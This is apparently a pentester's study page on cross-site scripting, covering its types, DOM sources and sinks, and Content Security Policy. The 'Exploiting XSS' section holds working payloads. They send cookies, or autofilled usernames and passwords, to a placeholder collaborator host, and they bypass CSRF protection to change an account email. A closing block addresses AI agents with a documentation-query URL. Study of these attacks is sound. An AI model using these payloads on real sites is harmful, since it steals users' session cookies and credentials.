# Cross Site Scripting(XSS)

Cross-site scripting (also known as XSS) is a web security vulnerability that allows an attacker to compromise the interactions that users have with a vulnerable application.

It allows an attacker to circumvent the same origin policy, which is designed to segregate different websites from each other.

## Types of XSS attacks: <a href="#what-are-the-types-of-xss-attacks" id="what-are-the-types-of-xss-attacks"></a>

### Reflected cross-site scripting <a href="#reflected-cross-site-scripting" id="reflected-cross-site-scripting"></a>

Reflected XSS is the simplest variety of cross-site scripting. It arises when an application receives data in an HTTP request and includes that data within the immediate response in an unsafe way.

```
https://insecure-website.com/status?message=<script>/*+Bad+stuff+here...+*/</script>


<p>Status: <script>/* Bad stuff here... */</script></p>
```

### Stored cross-site scripting <a href="#stored-cross-site-scripting" id="stored-cross-site-scripting"></a>

Stored XSS (also known as persistent or second-order XSS) arises when an application receives data from an untrusted source and includes that data within its later HTTP responses in an unsafe way.\
\
Suppose a website allows users to submit comments on blog posts, which are displayed to other users. Users submit comments using an HTTP request like the following:<br>

```
POST /post/comment HTTP/1.1
Host: vulnerable-website.com
Content-Length: 100

postId=3&comment=This+post+was+extremely+helpful.&name=Carlos+Montoya&email=carlos%40normal-user.net
```

### DOM-based cross-site scripting

DOM-based XSS (also known as DOM XSS) arises when an application contains some client-side JavaScript that processes data from an untrusted source in an unsafe way, usually by writing the data back to the DOM.<br>

```
var search = document.getElementById('search').value;
var results = document.getElementById('results');
results.innerHTML = 'You searched for: ' + search;
```

**Exploiting DOM XSS with different sources and sinks**\
\
**Source:**&#x20;

```
location.search
location.hash
document.URL
document.documentURI
document.URLUnencoded
document.baseURI
location
document.cookie
document.referrer
window.name
history.pushState
history.replaceState
localStorage
sessionStorage
IndexedDB (mozIndexedDB, webkitIndexedDB, msIndexedDB)
Database
```

**Sinks**: is a potentially dangerous JavaScript function or DOM object that can cause undesirable effects if attacker-controlled data is passed to it.

|                                                                                                                     |                            |
| ------------------------------------------------------------------------------------------------------------------- | -------------------------- |
| [DOM XSS](https://portswigger.net/web-security/cross-site-scripting/dom-based)                                      | `document.write()`         |
| [Open redirection](https://portswigger.net/web-security/dom-based/open-redirection)                                 | `window.location`          |
| [Cookie manipulation](https://portswigger.net/web-security/dom-based/cookie-manipulation)                           | `document.cookie`          |
| [JavaScript injection](https://portswigger.net/web-security/dom-based/javascript-injection)                         | `eval()`                   |
| [Document-domain manipulation](https://portswigger.net/web-security/dom-based/document-domain-manipulation)         | `document.domain`          |
| [WebSocket-URL poisoning](https://portswigger.net/web-security/dom-based/websocket-url-poisoning)                   | `WebSocket()`              |
| [Link manipulation](https://portswigger.net/web-security/dom-based/link-manipulation)                               | `element.src`              |
| [Web message manipulation](https://portswigger.net/web-security/dom-based/web-message-manipulation)                 | `postMessage()`            |
| [Ajax request-header manipulation](https://portswigger.net/web-security/dom-based/ajax-request-header-manipulation) | `setRequestHeader()`       |
| [Local file-path manipulation](https://portswigger.net/web-security/dom-based/local-file-path-manipulation)         | `FileReader.readAsText()`  |
| [Client-side SQL injection](https://portswigger.net/web-security/dom-based/client-side-sql-injection)               | `ExecuteSql()`             |
| [HTML5-storage manipulation](https://portswigger.net/web-security/dom-based/html5-storage-manipulation)             | `sessionStorage.setItem()` |
| [Client-side XPath injection](https://portswigger.net/web-security/dom-based/client-side-xpath-injection)           | `document.evaluate()`      |
| [Client-side JSON injection](https://portswigger.net/web-security/dom-based/client-side-json-injection)             | `JSON.parse()`             |
| [DOM-data manipulation](https://portswigger.net/web-security/dom-based/dom-data-manipulation)                       | `element.setAttribute()`   |
| [Denial of service](https://portswigger.net/web-security/dom-based/denial-of-service)                               | `RegExp()`                 |

### Exploiting XSS Vulnerabilities:

XSS to steal cookies:

```html
<script>
fetch('https://BURP-COLLABORATOR-SUBDOMAIN', {
method: 'POST',
mode: 'no-cors',
body:document.cookie
});
</script>
```

XSS to capture autofilled password:

```html
<input name=username id=username>
<input type=password name=password onchange="if(this.value.length)fetch('https://BURP-COLLABORATOR-SUBDOMAIN',{
method:'POST',
mode: 'no-cors',
body:username.value+':'+this.value
});">
```

XSS to bypass CSRF Protection:<br>

```html
<script>
var req = new XMLHttpRequest();
req.onload = handleResponse;
req.open('get','/my-account',true);
req.send();
function handleResponse() {
    var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];
    var changeReq = new XMLHttpRequest();
    changeReq.open('post', '/my-account/change-email', true);
    changeReq.send('csrf='+token+'&email=test@test.com')
};
</script>
```

### What is Content Security Policy(CSP) ?

CSP is a browser security mechanism that aims to mitigate XSS and some other attacks. It works by restricting the resources (such as scripts and images) that a page can load and restricting whether a page can be framed by other pages.\
\
include an HTTP response header called `Content-Security-Policy` with a value containing the policy

#### **Common Questions**&#x20;

**What is the difference between reflected XSS and stored XSS?** Reflected XSS arises when an application takes some input from an HTTP request and embeds that input into the immediate response in an unsafe way. With stored XSS, the application instead stores the input and embeds it into a later response in an unsafe way.

**What is the difference between reflected XSS and self-XSS?** Self-XSS involves similar application behavior to regular reflected XSS, however it cannot be triggered in normal ways via a crafted URL or a cross-domain request. Instead, the vulnerability is only triggered if the victim themselves submits the XSS payload from their browser. Delivering a self-XSS attack normally involves socially engineering the victim to paste some attacker-supplied input into their browser. As such, it is normally considered to be a lame, low-impact issue.


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://n0m4dsec.gitbook.io/sec-book/web-vulnerabilities/client-side-vulnerabilties/cross-site-scripting-xss.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
